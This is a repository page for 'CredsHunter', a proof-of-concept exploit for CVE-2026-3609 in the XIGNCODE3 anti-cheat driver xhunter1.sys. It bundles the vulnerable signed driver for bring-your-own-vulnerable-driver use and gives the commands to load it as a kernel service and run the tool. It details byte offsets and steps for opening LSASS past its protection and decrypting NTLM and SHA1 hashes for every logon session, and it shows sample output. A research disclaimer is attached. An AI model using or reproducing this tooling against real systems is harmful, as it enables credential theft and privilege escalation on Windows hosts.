Files
BlackSnufkin dd3ba9d9bb Initial CredsHunter PoC for CVE-2026-3609
Rust implementation of the LSASS credential dump primitive against
xhunter1.sys (XIGNCODE3 anti-cheat). Uses command 785 to obtain a
PPL-bypassing PROCESS_ALL_ACCESS handle via ObOpenObjectByPointer
with AccessMode=KernelMode and no OBJ_KERNEL_HANDLE, then walks
LSA crypto material and decrypts the LogonSessionList.

Modules:
- driver: Xhunter / Session wrappers + MemReader trait
- proc:   PID lookup + PEB-walk remote module discovery
- pe:     local PE parsing and pattern scan helpers
- lsa:    LSA key pattern table + BCrypt key extraction + 3DES
- logon:  LogonSessionList walker + MSV1_0 offsets
- wdigest: WDigest credential list walker (best-effort)
- sys:    OS build number

Affected driver bundled:
  xhunter1.sys 10.0.10011.16384
  SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
2026-05-12 01:38:41 -07:00

5.6 KiB

CredsHunter

CVE-2026-3609 · Writeup

LSASS credential dump proof-of-concept for a PPL-bypassing process-handle leak in Wellbia's XIGNCODE3 anti-cheat driver, xhunter1.sys.

The driver exposes an IRP_MJ_WRITE command interface that calls ObOpenObjectByPointer with AccessMode = KernelMode and without OBJ_KERNEL_HANDLE, dropping a kernel-minted PROCESS_ALL_ACCESS handle straight into the caller's handle table. From there, standard credential-dumping code reads lsasrv.dll's 3DES key out of the target and recovers NTLM + SHA1 hashes for every active logon session.

Affected binary

xhunter1.sys  version 10.0.10011.16384
SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e

The vulnerable signed driver is included in this repo (xhunter1.sys) so the exploit is reproducible end-to-end. Verify the hash before loading:

Get-FileHash .\xhunter1.sys -Algorithm SHA256

Newer XIGNCODE3 releases are patched. The vulnerable signed binary remains usable as a BYOVD primitive on any host where it can be dropped and loaded.

Build

git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release

The release binary is placed at target\release\CredsHunter.exe.

Run

Load the bundled driver as a kernel service (the driver's device DACL allows any caller once it's running):

sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter

Run the tool:

.\target\release\CredsHunter.exe

To clean up afterwards:

sc stop xhunter
sc delete xhunter

The default device name is \\.\xhunter (matching the example service name above). If your service uses a different name, the device path will follow it — edit driver::DEFAULT_DEVICE or call Xhunter::open_named accordingly.

Sample output

  xhunter1.sys BYOVD — LSASS credential dump
  CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)

[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000  remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x...  3DES 0x...  IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>

===== LogonSessionList =====

[0001] LogonSession @ 0x...
  User   : <username>
  Domain : <domain>
  NTHash : <16 bytes hex>
  SHA1   : <20 bytes hex>

[...]

How it works

Stage Component What happens
1 driver.rsXhunter::open CreateFile("\\.\\xhunter") — no auth on the device
2 driver.rsXhunter::open_process WriteFile with command 785 (PID, PROCESS_ALL_ACCESS). Driver calls ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) and writes the handle back to the user's response buffer at +0x10. The handle bypasses PPL because AccessMode = KernelMode skips the access check, and it lands in our handle table because OBJ_KERNEL_HANDLE is not set.
3 driver.rsSession::attach Probes ReadProcessMemory against the kernel-minted handle. Falls back to driver command 787 (KeStackAttachProcess + memcpy) if RPM is blocked.
4 lsa.rs Pattern-scans local lsasrv.dll's .text to recover RIP-relative pointers to the AES key, 3DES key, and IV inside LsaInitializeProtectedMemory. Rebases those VAs onto the target's mapping, walks BCRYPT_HANDLE_KEY → BCRYPT_KEY81, and pulls the raw 3DES bytes out of the target.
5 logon.rs Walks LogonSessionList (per-build sig table). Each entry's primary credential at +credentials → +0x10 → +0x30 holds a 0x1B0-byte 3DES-encrypted blob. bcrypt.dll decrypts it; bytes 70..86 are the NT hash, 102..122 are the SHA1.

Project layout

src/
├── main.rs       # banner, run flow, ExitCode handling
├── driver.rs     # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs       # find_pid, PEB-walk remote module lookup
├── pe.rs         # local PE parsing + pattern scan + RIP decode
├── lsa.rs        # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs      # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs    # WDigest list walker (best-effort)
└── sys.rs        # OS build number

The MemReader trait abstracts memory reads so the credential-extraction modules don't depend on the specific driver primitive. Implement the trait on a different reader (e.g. a Beacon Object File runtime, a ptwalk-based phys-mem reader) and the lsa / logon / wdigest modules drop in unchanged.

Known limitations

  • WDigest plaintext recovery is best-effort. The list-head signature is a single byte pattern (48 3B D9 74) inherited from the original public PoC and has not been refreshed for Windows 11 build 26100+. Building this out into a per-build table is straightforward; PRs welcome.
  • Service / device name is hardcoded to xhunter. If you load the driver under a different name, edit driver::DEFAULT_DEVICE or pass an override to Xhunter::open_named.

Disclaimer

For research, authorised testing, and defensive tooling only. Loading the vulnerable driver on a system you do not own or have explicit permission to test is a crime in most jurisdictions. The author accepts no responsibility for misuse.

License

See LICENSE.